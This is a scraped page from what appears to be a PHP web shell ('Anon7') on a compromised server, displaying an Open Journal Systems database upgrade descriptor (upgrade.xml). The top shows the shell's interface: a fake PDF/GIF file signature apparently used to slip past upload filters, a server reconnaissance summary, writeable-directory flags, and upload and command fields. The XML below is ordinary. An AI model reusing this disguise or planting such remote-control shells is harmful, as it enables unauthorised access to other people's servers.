%PDF-1.7 GIF89;
shell
Server IP : 104.20.45.2  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/dbscripts/xml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /app/dbscripts/xml/upgrade.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE install SYSTEM "../../lib/pkp/dtd/install.dtd">
<!--
  * dbscripts/xml/upgrade.xml
  *
  * Copyright (c) 2013-2019 Simon Fraser University
  * Copyright (c) 2003-2019 John Willinsky
  * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
  *
  * Upgrade descriptor file.
  *
  -->

<install version="2.4.8.5">
	<upgrade minversion="2.0.0.0" maxversion="2.2.0.0">
		<!-- Correct null public issue IDs; this caused problems with
		     2.x -> 2.2.0 upgrades using public issue IDs.-->
		<data file="dbscripts/xml/upgrade/public_issue_ids.xml" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.0.1.0">
		<!-- 2.0.x to 2.0.2 -->
		<data file="dbscripts/xml/upgrade/2.0.2_preupdate.xml" />
	</upgrade>

	<!-- #2424: Make sure currencies are maintained as table is dropped -->
	<!-- #2291: Migrate issue label column values and settings -->
	<upgrade minversion="2.0.0.0" maxversion="2.1.1.0">
		<!-- 2.0.x to 2.2.0 -->
		<data file="dbscripts/xml/upgrade/2.2.0_preupdate.xml" />
		<code function="correctCurrencies" />
		<code function="migrateIssueLabelAndSettings" />
		<code function="dropAllIndexes" />
	</upgrade>

	<!-- #2961: Stage 1 of 2.2 schema upgrade: Do not drop columns yet -->
	<upgrade minversion="2.0.0.0" maxversion="2.1.1.0">
		<schema file="dbscripts/xml/ojs_schema_stage1.xml" />
	</upgrade>

	<!-- Various tasks for pre-2.2 versions that do not require DAOs -->
	<upgrade minversion="2.0.0.0" maxversion="2.0.0.0">
		<!-- 2.0.0 to 2.0.1 -->
		<data file="dbscripts/xml/upgrade/2.0.1_update.xml" />
		<note file="docs/release-notes/README-2.0.1" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.0.1.0">
		<!-- 2.0.1 to 2.0.2 -->
		<data file="dbscripts/xml/upgrade/2.0.2_update.xml" />
		<note file="docs/release-notes/README-2.0.2" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.0.2.1">
		<!-- 2.0.2.x (or below) to 2.1.0 -->
		<data file="dbscripts/xml/upgrade/2.1.0_update.xml" />
		<note file="docs/release-notes/README-2.1.0" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.1.0.1">
		<!-- 2.1.0.x (or below) to 2.1.1 -->
		<data file="dbscripts/xml/upgrade/2.1.1_update.xml" />
		<note file="docs/release-notes/README-2.1.1" />
	</upgrade>

	<!-- #2961: Localization overhaul -->
	<upgrade minversion="2.0.0.0" maxversion="2.1.1.0">
		<code function="setJournalPrimaryLocales" />
		<data file="dbscripts/xml/upgrade/2.2.0_localize.xml" />
	</upgrade>

	<upgrade minversion="2.1.1.0" maxversion="2.1.1.0">
		<!-- Migrate the user_settings table. -->
		<data file="dbscripts/xml/upgrade/2.2.0_usersettings.xml" />
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.2.0.0">
		<!-- 2.2 to 2.2.1; prior versions will have this table renamed already -->
		<data file="dbscripts/xml/upgrade/2.2.1_usersettings.xml" />
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.2.9.0">
		<!-- #4756# Rename journal_id to assoc_id in user_settings -->
		<data file="dbscripts/xml/upgrade/2.3.0_usersettings.xml" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.2.0.0">
		<!-- 2.x to 2.2.1 -->
		<data file="dbscripts/xml/upgrade/2.2.1_preupdate.xml" />
	</upgrade>

	<!-- Create signoffs table before migration occurs -->
	<schema file="lib/pkp/xml/schema/signoff.xml" />

	<upgrade minversion="2.0.0.0" maxversion="2.2.9.0">
		<!-- 2.x to 2.3 -->
		<data file="dbscripts/xml/upgrade/2.3.0_preupdate.xml" />
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.2.9.0">
		<!-- 2.2.x to 2.3 -->
		<data file="dbscripts/xml/upgrade/2.3.0_subscription_ip.xml" />
	</upgrade>

	<!--
	  - The 2.3.3 preupdate scripts have been broken into pieces because
	  - the features they affect were added in different versions of OJS.
	  -->
	<upgrade minversion="2.0.0.0" maxversion="2.3.2.9">
		<data file="dbscripts/xml/upgrade/2.3.3_preupdate1.xml" />
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.3.2.9">
		<data file="dbscripts/xml/upgrade/2.3.3_preupdate2.xml" /><!-- author_settings -->
	</upgrade>

	<upgrade minversion="2.2.1.0" maxversion="2.3.2.9">
		<data file="dbscripts/xml/upgrade/2.3.3_preupdate3.xml" /><!-- review_forms -->
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.3.3.9">
		<!--
		  - Not including 2.1.1, where user_settings first became available, because the 2.2.0_usersettings migration process
		  - has renamed it to user_settings_old by this point.
		  -->
		<data file="dbscripts/xml/upgrade/2.3.3_preaffiliations1.xml" condition="return $installer->columnExists('users', 'affiliation');" />
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.3.3.9">
		<data file="dbscripts/xml/upgrade/2.3.3_preaffiliations2.xml" condition="return $installer->columnExists('authors', 'affiliation');" />
	</upgrade>
	
	<upgrade minversion="2.2.3.0" maxversion="2.3.2.0">
		<!-- COUNTER - counter_monthly_log update.-->
		<data file="plugins/reports/counter/counter_monthly_log_1_1.xml" />
	</upgrade>
	
	<upgrade minversion="2.0.0.0" maxversion="2.4.2.0">
		<data file="dbscripts/xml/upgrade/2.4.3_preupdate_usageStatistics.xml" condition="return $installer->columnExists('published_articles', 'views');" />
		<data file="dbscripts/xml/upgrade/2.4.3_preupdate_usageStatistics2.xml" condition="return $installer->columnExists('issue_galleys', 'views');" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.9.9">
		<!-- 2.x to 2.4 -->
		<data file="dbscripts/xml/upgrade/2.4.0_preupdate_article_files.xml" condition="return $installer->columnExists('article_files', 'type');" />
		<data file="dbscripts/xml/upgrade/2.4.0_preupdate_emaillog.xml" condition="return $installer->columnExists('article_email_log', 'log_id');" />
		<data file="dbscripts/xml/upgrade/2.4.0_preupdate_reviewrounds.xml" condition="return !$installer->columnExists('review_rounds', 'review_round_id');" />
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_issues.xml" condition="return $installer->columnExists('issues', 'public_issue_id');" />
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_articles.xml" condition="return $installer->columnExists('articles', 'doi');" />
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_published_articles.xml" condition="return $installer->columnExists('published_articles', 'public_article_id');" />
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_issue_galleys.xml" condition="return $installer->columnExists('issue_galleys', 'public_galley_id');" />
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_article_galleys.xml" condition="return $installer->columnExists('article_galleys', 'public_galley_id');" />
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_supp_files.xml" condition="return $installer->columnExists('article_supplementary_files', 'public_supp_file_id');" />
	</upgrade>
	
	<upgrade minversion="2.2.9.0" maxversion="2.3.9.9">
		<data file="dbscripts/xml/upgrade/2.4.0_notifications.xml" condition="return $installer->columnExists('notification_settings', 'setting_id');" />	
	</upgrade>

	<!-- PKP schema components -->
	<schema file="lib/pkp/xml/schema/common.xml" />
	<schema file="lib/pkp/xml/schema/groups.xml" />
	<schema file="lib/pkp/xml/schema/log.xml" />
	<schema file="lib/pkp/xml/schema/announcements.xml" />
	<schema file="lib/pkp/xml/schema/scheduledTasks.xml" />
	<schema file="lib/pkp/xml/schema/temporaryFiles.xml" />
	<schema file="lib/pkp/xml/schema/metadata.xml" />
	<schema file="lib/pkp/xml/schema/reviews.xml" />
	<schema file="lib/pkp/xml/schema/reviewForms.xml" />
	<schema file="lib/pkp/xml/schema/controlledVocab.xml" />
	<schema file="lib/pkp/xml/schema/submissions.xml" />
	<schema file="lib/pkp/xml/schema/comments.xml" />
	<schema file="lib/pkp/xml/schema/notes.xml" />
	<schema file="lib/pkp/xml/schema/gifts.xml" />
	<schema file="lib/pkp/xml/schema/mutex.xml" />
	<schema file="lib/pkp/xml/schema/tombstone.xml" />
	<schema file="lib/pkp/xml/schema/metrics.xml" />

	<!-- OJS schema -->
	<schema file="dbscripts/xml/ojs_schema.xml" />

	<!-- CLOB/Text indexes handled differently for MySQL and PostgreSQL -->
	<data file="dbscripts/xml/indexes.xml" />

	<!--
	  - The following tasks from older versions use DAO-level queries
	  - and need the DAOs to function properly in order to work.
	  -->
	<upgrade minversion="2.0.0.0" maxversion="2.0.1.0">
		<!-- The search index was flushed earlier; rebuild it. -->
		<code function="rebuildSearchIndex" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.1.0.1">
		<!-- 2.1.0-1 (or below) to 2.1.1 -->
		<code function="designateReviewVersions" />
		<code function="migrateRtSettings" />
	</upgrade>

	<!-- Complete the 2.2 upgrade -->
	<upgrade minversion="2.0.0.0" maxversion="2.1.1.0">
		<!-- 2.1.1 (or below) to 2.2 -->
		<data file="dbscripts/xml/upgrade/2.2.0_update.xml" />
		<code function="localizeJournalSettings" />
		<code function="migratePublisher" />
		<code function="installBlockPlugins" />
		<code function="setGalleyLocales" />
		<note file="docs/release-notes/README-2.2.0" />
	</upgrade>

	<upgrade minversion="2.1.1.0" maxversion="2.1.1.0">
		<code function="migrateUserSettings" />
		<!-- Delete the user_settings_old table now that it has been migrated. -->
		<data file="dbscripts/xml/upgrade/2.2.0_usersettings2.xml" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.2.0.0">
		<!-- Fix bug #3321 (supportedLocales setting maybe missing) -->
		<code function="ensureSupportedLocales" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.2.0.0">
		<!-- Only execute the upgrade statements if the theses table exists -->
		<data file="dbscripts/xml/upgrade/2.2.1_update.xml" condition="return $installer->columnExists('theses', 'thesis_id');" />

		<code function="renamePayPerViewSettings" />
		<code function="clearDataCache" />
		<note file="docs/release-notes/README-2.2.1" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.2.2.0">
		<data file="dbscripts/xml/upgrade/2.2.3_update.xml" />
		<note file="docs/release-notes/README-2.2.3" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.2.9.0">
		<code function="separateSubscriptions" />
		<data file="dbscripts/xml/upgrade/2.3.0_update.xml" />
		<code function="localizeMoreJournalSettings" />
		<code function="cleanImageAlts" />
		<code function="cleanTitles" />
		<note file="docs/release-notes/README-2.3.0" />

		<!-- Post-2.3.0 additions -->
		<code function="installEmailTemplate" key="NOTIFICATION" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="NOTIFICATION_MAILLIST" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="NOTIFICATION_MAILLIST_WELCOME" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="NOTIFICATION_MAILLIST_PASSWORD" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="EDITOR_DECISION_ACCEPT" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="EDITOR_DECISION_REVISIONS" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="EDITOR_DECISION_RESUBMIT" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="EDITOR_DECISION_DECLINE" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="SUBSCRIPTION_PURCHASE_INDL" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="SUBSCRIPTION_PURCHASE_INSTL" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="SUBSCRIPTION_RENEW_INDL" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
		<code function="installEmailTemplate" key="SUBSCRIPTION_RENEW_INSTL" locales="cs_CZ,de_DE,el_GR,en_US,es_ES,eu_ES,fa_IR,fr_CA,it_IT,ja_JP,nl_NL,no_NO,pt_BR,pt_PT,ro_RO,ru_RU,zh_CN" />
	</upgrade>

	<upgrade minversion="2.2.0.0" maxversion="2.2.9.0">
		<!-- 2.2.x to 2.3 -->
		<data file="dbscripts/xml/upgrade/2.3.0_subscription_ip2.xml" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.0.0">
		<note file="docs/release-notes/README-2.3.1" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.1.9">
		<note file="docs/release-notes/README-2.3.2" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.2.9">
		<code function="installEmailTemplate" key="CITATION_EDITOR_AUTHOR_QUERY" locales="en_US" />
		<code function="migrateReviewingInterests" />
		<data file="dbscripts/xml/upgrade/2.3.3_update.xml" />
		<note file="docs/release-notes/README-2.3.3" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.3.9">
		<!-- 2.x to 2.3.4 -->
		<data file="dbscripts/xml/upgrade/2.3.4_update.xml" />
		<note file="docs/release-notes/README-2.3.4" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.4.9">
		<!-- 2.x to 2.3.5 -->
		<data file="dbscripts/xml/upgrade/2.3.5_update.xml" />
		<note file="docs/release-notes/README-2.3.5" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.5.9">
		<note file="docs/release-notes/README-2.3.6" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.6.9">
		<code function="migrateReviewingInterests2" />
		<data file="dbscripts/xml/upgrade/2.3.7_update.xml" />
		<code function="removeAuthorRevisedFilesFromSignoffs" />
		<note file="docs/release-notes/README-2.3.7" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.3.9.9">
		<!-- 2.x to 2.4 -->

		<!-- Newly introduced email templates -->
		<code function="installEmailTemplate" key="GIFT_AVAILABLE" locales="en_US,de_DE,eu_ES,fa_IR,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />
		<code function="installEmailTemplate" key="GIFT_USER_REGISTER" locales="en_US,de_DE,eu_ES,fa_IR,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />
		<code function="installEmailTemplate" key="GIFT_USER_LOGIN" locales="en_US,de_DE,eu_ES,fa_IR,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />
		<code function="installEmailTemplate" key="REVISED_VERSION_NOTIFY" locales="en_US,de_DE,eu_ES,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />
		<code function="installEmailTemplate" key="REVIEW_REQUEST_ONECLICK_SUBSEQUENT" locales="en_US,de_DE,eu_ES,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />
		<code function="installEmailTemplate" key="REVIEW_REQUEST_ATTACHED_SUBSEQUENT" locales="en_US,de_DE,eu_ES,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />
		<code function="installEmailTemplate" key="REVIEW_REQUEST_SUBSEQUENT" locales="en_US,de_DE,eu_ES,it_IT,nl_NL,pt_BR,tr_TR,uk_UA,zh_CN" />

		<!-- ID upgrade -->
		<data file="dbscripts/xml/upgrade/2.4.0_idupgrade_article_galleys2.xml" condition="return $installer->tableExists('tmp_public_galley_ids');" />

		<!-- Mutex helper table. -->
		<data file="lib/pkp/xml/mutexData.xml" />

		<!-- Misc. 2.4.0 updates -->
		<data file="dbscripts/xml/upgrade/2.4.0_update.xml" />
		<note file="docs/release-notes/README-2.4.0" />
	</upgrade>

	<upgrade minversion="2.2.9.0" maxversion="2.3.9.9">
		<code function="migrateNotifications" condition="return $installer->tableExists('notifications_old');" />
		<!-- Delete the notification*_old tables now that they have been migrated. -->
		<data file="dbscripts/xml/upgrade/2.4.0_notifications2.xml" condition="return $installer->tableExists('notification_settings_old');" />
		<!-- Update the notification emails (we have removed references to mailing list passwords) -->
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.0.0">
		<note file="docs/release-notes/README-2.4.1" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.1.0">
		<data file="dbscripts/xml/upgrade/2.4.2_update.xml" />
		<note file="docs/release-notes/README-2.4.2" />
	</upgrade>
	
	<upgrade minversion="2.4.0.0" maxversion="2.4.1.0">
		<data file="dbscripts/xml/upgrade/2.4.2_remove_submission_tombstones.xml" condition="return $installer->tableExists('submission_tombstones');" />
	</upgrade>
	
	<upgrade minversion="2.0.0.0" maxversion="2.4.2.0">
		<schema file="plugins/generic/usageStats/schema.xml" />
		<data file="dbscripts/xml/upgrade/remove_timed_views_bots.xml" condition="return $installer->tableExists('timed_views_log');" />
		<code function="migrateCounterPluginUsageStatistics" condition="return $installer->tableExists('counter_monthly_log');" />
		<note file="docs/release-notes/GeoLocalizationToolRequired" condition="return !$installer->fileExists('plugins/generic/usageStats/GeoLiteCity.dat');" />
		<code function="migrateTimedViewsUsageStatistics" condition="return $installer->tableExists('timed_views_log');" />
		<code function="migrateDefaultUsageStatistics" condition="return $installer->tableExists('article_galleys_stats_migration');" />
		<data file="dbscripts/xml/upgrade/2.4.3_postUsageStatsMigration.xml" condition="return $installer->tableExists('article_galleys_stats_migration');" />
		<data file="dbscripts/xml/upgrade/2.4.3_postUsageStatsMigration2.xml" condition="return $installer->tableExists('issue_galleys_stats_migration');" />
		<data file="dbscripts/xml/upgrade/2.4.3_postCounterMigration.xml" condition="return $installer->tableExists('counter_monthly_log');" />
		<data file="dbscripts/xml/upgrade/2.4.3_postTimedViewsMigration.xml" condition="return $installer->tableExists('timed_views_log');" />
		<note file="docs/release-notes/README-2.4.3" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.3.0">
		<data file="dbscripts/xml/upgrade/2.4.4_update.xml" />
		<note file="docs/release-notes/README-2.4.4" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.4.9">
		<note file="docs/release-notes/README-2.4.5" />
	</upgrade>
	
	<upgrade minversion="2.0.0.0" maxversion="2.4.5.9">
		<code function="localizeCustomBlockSettings" />
		<code function="removeCustomIdentifierSuffixOption" />
		<note file="docs/release-notes/README-2.4.6" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.6.9">
		<code function="deleteOrphanedCompletedPayments" />
		<note file="docs/release-notes/README-2.4.7" />
		<note file="docs/release-notes/README-BEACON" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.7.9">
		<code function="installEmailTemplate" key="REVIEW_REQUEST_REMIND_AUTO" locales="ar_IQ,ca_ES,cs_CZ,da_DK,de_DE,el_GR,en_US,es_AR,es_ES,eu_ES,fa_IR,fr_CA,fr_FR,gl_ES,hr_HR,id_ID,it_IT,ja_JP,mk_MK,ml_IN,nl_NL,no_NO,pl_PL,pt_BR,pt_PT,ro_RO,ru_RU,sv_SE,tr_TR,uk_UA,vi_VN,zh_CN,zh_TW" />
		<code function="installEmailTemplate" key="REVIEW_REQUEST_REMIND_AUTO_ONECLICK" locales="ar_IQ,ca_ES,cs_CZ,da_DK,de_DE,el_GR,en_US,es_AR,es_ES,eu_ES,fa_IR,fr_CA,fr_FR,gl_ES,hr_HR,id_ID,it_IT,ja_JP,mk_MK,ml_IN,nl_NL,no_NO,pl_PL,pt_BR,pt_PT,ro_RO,ru_RU,sv_SE,tr_TR,uk_UA,vi_VN,zh_CN,zh_TW" />
		<note file="docs/release-notes/README-2.4.8" />
	</upgrade>

	<upgrade minversion="2.4.8.0" maxversion="2.4.8.0">
		<code function="installEmailTemplate" key="REVIEW_REQUEST_REMIND_AUTO_ONECLICK" locales="ar_IQ,ca_ES,cs_CZ,da_DK,de_DE,el_GR,en_US,es_AR,es_ES,eu_ES,fa_IR,fr_CA,fr_FR,gl_ES,hr_HR,id_ID,it_IT,ja_JP,mk_MK,ml_IN,nl_NL,no_NO,pl_PL,pt_BR,pt_PT,ro_RO,ru_RU,sr_SR,sv_SE,tr_TR,uk_UA,vi_VN,zh_CN,zh_TW" />
	</upgrade>

	<upgrade minversion="2.3.3.1" maxversion="2.4.8.3">
		<data file="dbscripts/xml/upgrade/event_log_submissionid.xml" />
	</upgrade>

	<upgrade minversion="2.0.0.0" maxversion="2.4.8.3">
		<data file="dbscripts/xml/upgrade/event_log_oneclickuserid.xml"/>
	</upgrade>

	<!-- update plugin configuration - should be done as the final upgrade task -->
	<code function="addPluginVersions" />
</install>

Anon7 - 2022
SCDN GOK